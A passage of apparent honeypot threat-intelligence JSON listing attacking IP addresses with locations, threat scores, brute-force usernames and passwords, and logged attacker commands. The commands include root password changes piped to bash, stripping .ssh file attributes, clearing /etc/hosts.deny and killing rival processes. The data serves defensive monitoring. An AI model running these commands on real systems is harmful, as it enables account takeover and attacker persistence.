        "manager",
        "nam"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456a?\\nGteHMG8Tm0Y3\\nGteHMG8Tm0Y3\\n\"|passwd",
        "echo \"1234\\nWZ4jT73nr9Xf\\nWZ4jT73nr9Xf\\n\"|passwd",
        "echo -e \"123456a?\\nGteHMG8Tm0Y3\\nGteHMG8Tm0Y3\"|passwd|bash",
        "echo -e \"1234\\nWZ4jT73nr9Xf\\nWZ4jT73nr9Xf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:33:57.892000+00:00",
        "last_seen_30d": "2026-04-04T08:39:10.558000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "165.154.6.49": {
      "attack_count": 262,
      "first_seen": "2026-04-14T09:28:00.641Z",
      "last_seen": "2026-04-14T10:07:14.885Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kingbase",
        "odoo",
        "bot",
        "deploy",
        "elk",
        "jin",
        "mo",
        "postgres",
        "riad",
        "steam",
        "test7",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1111",
        "123456",
        "12345678",
        "1q2w3e4r5t",
        "520250520",
        "A123456s",
        "Bot26!",
        "Odoo06!",
        "Password.123",
        "Password123321",
        "QWE123QWE",
        "Root28",
        "Root@321",
        "Welcome1",
        "kingbase",
        "len",
        "mo@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"kingbase\\nCaZWFBepoIB0\\nCaZWFBepoIB0\\n\"|passwd",
        "echo \"root:ioK1bQpllQbo\"|chpasswd|bash",
        "echo -e \"kingbase\\nCaZWFBepoIB0\\nCaZWFBepoIB0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T09:28:00.641000+00:00",
        "last_seen_30d": "2026-04-14T10:08:24.518000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "103.143.72.165": {
      "attack_count": 236,
      "first_seen": "2026-04-02T02:17:06.148Z",
      "last_seen": "2026-04-02T03:23:58.920Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz@wsx",
        "1234!@#$Qwer",
        "123456mn",
        "1qaz1QAZ",
        "A-123456",
        "P4ssw0rd1",
        "Pa$$word123!",
        "Yc123456",
        "a!123456",
        "admin123@#",
        "alex2026",
        "inter",
        "p0s1t1v3",
        "p@ssword.1",
        "qazXSW123",
        "realroot",
        "redman",
        "root003"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:WkDQPPhzAHIr\"|chpasswd|bash",
        "echo \"root:vJDqjf6wCVqM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:17:06.148000+00:00",
        "last_seen_30d": "2026-04-02T03:25:03.481000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "217.60.39.166": {
      "attack_count": 236,
      "first_seen": "2026-04-02T13:42:41.817Z",
      "last_seen": "2026-04-02T15:04:03.123Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2608",
        "Dd112233",
        "P@$$w0rd345",
        "P@SSW0RD",
        "Zm123456!",
        "aB123456.",
        "adminpassword",
        "beavis",
        "charles",
        "drcom",
        "france",
        "hik12345+",
        "isg",
        "jordan123",
        "kurama",
        "rocky",
        "root@2026",
        "secure123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BnGpTYHYPtxI\"|chpasswd|bash",
        "echo \"root:fvPlziQUxkT3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T13:42:41.817000+00:00",
        "last_seen_30d": "2026-04-02T15:05:11.045000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 63
      }
    },
    "49.204.74.149": {
      "attack_count": 236,
      "first_seen": "2026-04-03T03:36:49.842Z",
      "last_seen": "2026-04-03T04:59:44.933Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456*",
        "@dm1n!",
        "Aa147258..",
        "Aa310310",
        "Hu@123456",
        "P@55w0rd1234!",
        "Passw@rd123",
        "Password17",
        "Qaz@12345678",
        "Toor@2025",
        "Wl123456789",
        "ZAQ1xsw2",
        "bell1234",
        "dang",
        "hb@123456",
        "idc202499!@#",
        "lihao023..",
        "qazokm123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JGldHpK7uR7K\"|chpasswd|bash",
        "echo \"root:bKoTUnK8lzaN\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:36:49.842000+00:00",
        "last_seen_30d": "2026-04-03T05:00:45.809000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 60
      }
    },
    "101.47.158.56": {
      "attack_count": 219,
      "first_seen": "2026-04-30T21:17:54.210Z",
      "last_seen": "2026-04-30T21:52:50.537Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "345gs5662d34",
        "admin",
        "alex",
        "debian",
        "ftpuser",
        "gitblit",
        "testing",
        "user1",
        "user2"
      ],
      "passwords_attempted": [
        "1",
        "123123",
        "1233211234",
        "159753",
        "1qazXDR%",
        "3245gs5662d34",
        "345gs5662d34",
        "6yhnbgt5",
        "963852",
        "Aa12345678",
        "Aa123456@",
        "AaBbCc123",
        "Abc88888",
        "Ljy123456",
        "P@ssw0rd123@",
        "Password1",
        "Root2024@",
        "aa12345678",
        "aaAA11!!",
        "admin2026@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Aa123456@\\n5CwKLPfRxnnY\\n5CwKLPfRxnnY\\n\"|passwd",
        "echo -e \"Aa123456@\\n5CwKLPfRxnnY\\n5CwKLPfRxnnY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:17:54.210000+00:00",
        "last_seen_30d": "2026-04-30T21:53:51.002000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "81.23.173.32": {
      "attack_count": 204,
      "first_seen": "2026-04-25T20:37:24.481Z",
      "last_seen": "2026-04-25T21:13:10.000Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "sysadmin",
        "test",
        "345gs5662d34",
        "admin",
        "bot",
        "business",
        "cs",
        "docker",
        "ec2-user",
        "jeff",
        "mysql",
        "myuser",
        "postgres",
        "seekcy",
        "steam",
        "taiko",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1",
        "123456",
        "123@123aA",
        "1qa@WS3ed",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin07!",
        "Ftpuser29",
        "Joysuch@Locate2020",
        "P@ssw0rd2026!",
        "P@ssw0rd@2025",
        "Qwe12345",
        "Qwer123!",
        "Steam04",
        "Test03",
        "Test4",
        "Zy@123456",
        "abc@12345",
        "bot!2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sysadmin@1\\nKlWOka8nXq3h\\nKlWOka8nXq3h\\n\"|passwd",
        "echo -e \"sysadmin@1\\nKlWOka8nXq3h\\nKlWOka8nXq3h\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Krasnodar",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T20:37:24.481000+00:00",
        "last_seen_30d": "2026-04-25T21:14:18.493000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "139.59.18.0": {
      "attack_count": 203,
      "first_seen": "2026-04-26T02:29:39.971Z",
      "last_seen": "2026-04-26T03:04:49.925Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "botuser",
        "git",
        "ismail",
        "n8n",
        "odoo",
        "odoo15",
        "steam",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "0000",
        "010203",
        "123456",
        "1234@Abc",
        "1qaz@WSX!!",
        "3245gs5662d34",
        "345gs5662d34",
        "9",
        "A123456789!",
        "A123456789.",
        "Aa112211.",
        "Aa123456!",
        "Letmein.1",
        "Odoo7",
        "PASSW0RD",
        "Qazwsx123$",
        "Qwert@123456",
        "Root01$",
        "botuser2025",
        "ccCC1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gZT7JGdEMjvS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T02:29:39.971000+00:00",
        "last_seen_30d": "2026-04-26T03:05:57.134000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 64
      }
    },
    "31.56.211.22": {
      "attack_count": 194,
      "first_seen": "2026-04-04T18:04:34.510Z",
      "last_seen": "2026-04-04T18:47:26.004Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "345gs5662d34",
        "claude",
        "git",
        "guest",
        "innova",
        "mysql",
        "nodeuser",
        "odoo17",
        "postgres",
        "sftpuser1",
        "sonar",
        "swuser",
        "verdaccio"
      ],
      "passwords_attempted": [
        "1111",
        "123-zxcv",
        "12345",
        "123456",
        "2323",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin1@",
        "ChangeMe",
        "Claude!@",
        "Mz123456",
        "Password123",
        "Qwe999",
        "Qwert1234!",
        "aaAA@1234",
        "admin123",
        "admin12@123",
        "git111",
        "innova",
        "odoo17@2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Admin1@\\n8EQU1oOf3sSP\\n8EQU1oOf3sSP\\n\"|passwd",
        "echo -e \"Admin1@\\n8EQU1oOf3sSP\\n8EQU1oOf3sSP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 64439,
      "as_org": "IT Outsourcing LLC",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:04:34.510000+00:00",
        "last_seen_30d": "2026-04-04T18:48:34.729000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 62
      }
    },
    "156.227.232.198": {
      "attack_count": 193,
      "first_seen": "2026-04-10T05:20:30.577Z",
      "last_seen": "2026-04-10T06:02:52.466Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "ubuntu",
        "user",
        "345gs5662d34",
        "ftptest",
        "intern",
        "marc",
        "morgan",
        "postgres"
      ],
      "passwords_attempted": [
        "!QAZ2wsx#EDC",
        "1234",
        "1q2w3e4r5t.",
        "3245gs5662d34",
        "345gs5662d34",
        "@2025",
        "A123456F",
        "Asdf12345",
        "Ftpuser08",
        "L@y3rh0st2026",
        "P4ssw0rd",
        "P@ssw0rd@1234",
        "Qaz123456789",
        "Qazwsx001!@",
        "Qazwsx1111111!",
        "Reset@123",
        "Root2023@123",
        "ZAQ!2wsx654321..",
        "abcdabcd",
        "asdfgh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GBpj4abHsRyf\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:20:30.577000+00:00",
        "last_seen_30d": "2026-04-10T06:03:56.628000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 62
      }
    },
    "43.129.38.37": {
      "attack_count": 193,
      "first_seen": "2026-04-05T12:20:40.497Z",
      "last_seen": "2026-04-05T13:18:13.750Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "ubuntu",
        "345gs5662d34",
        "david",
        "gitolite",
        "hoster",
        "mc",
        "sincroniza",
        "support",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "123.com",
        "12345asd",
        "1234qwe",
        "1qazxcvb",
        "2wsx!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd!1234",
        "P@ssw0rd",
        "QWEQWE123",
        "Qwerty#$",
        "Qwertyu12",
        "Root999@123",
        "Server2025",
        "Woaini1314",
        "a123456!a",
        "ciaociao",
        "hoster"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cUYagLbCEkop\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T12:20:40.497000+00:00",
        "last_seen_30d": "2026-04-05T13:19:18.556000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "220.201.25.48": {
      "attack_count": 192,
      "first_seen": "2026-04-09T04:25:21.688Z",
      "last_seen": "2026-04-09T04:30:46.951Z",
      "sessions": 96,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T04:25:21.688000+00:00",
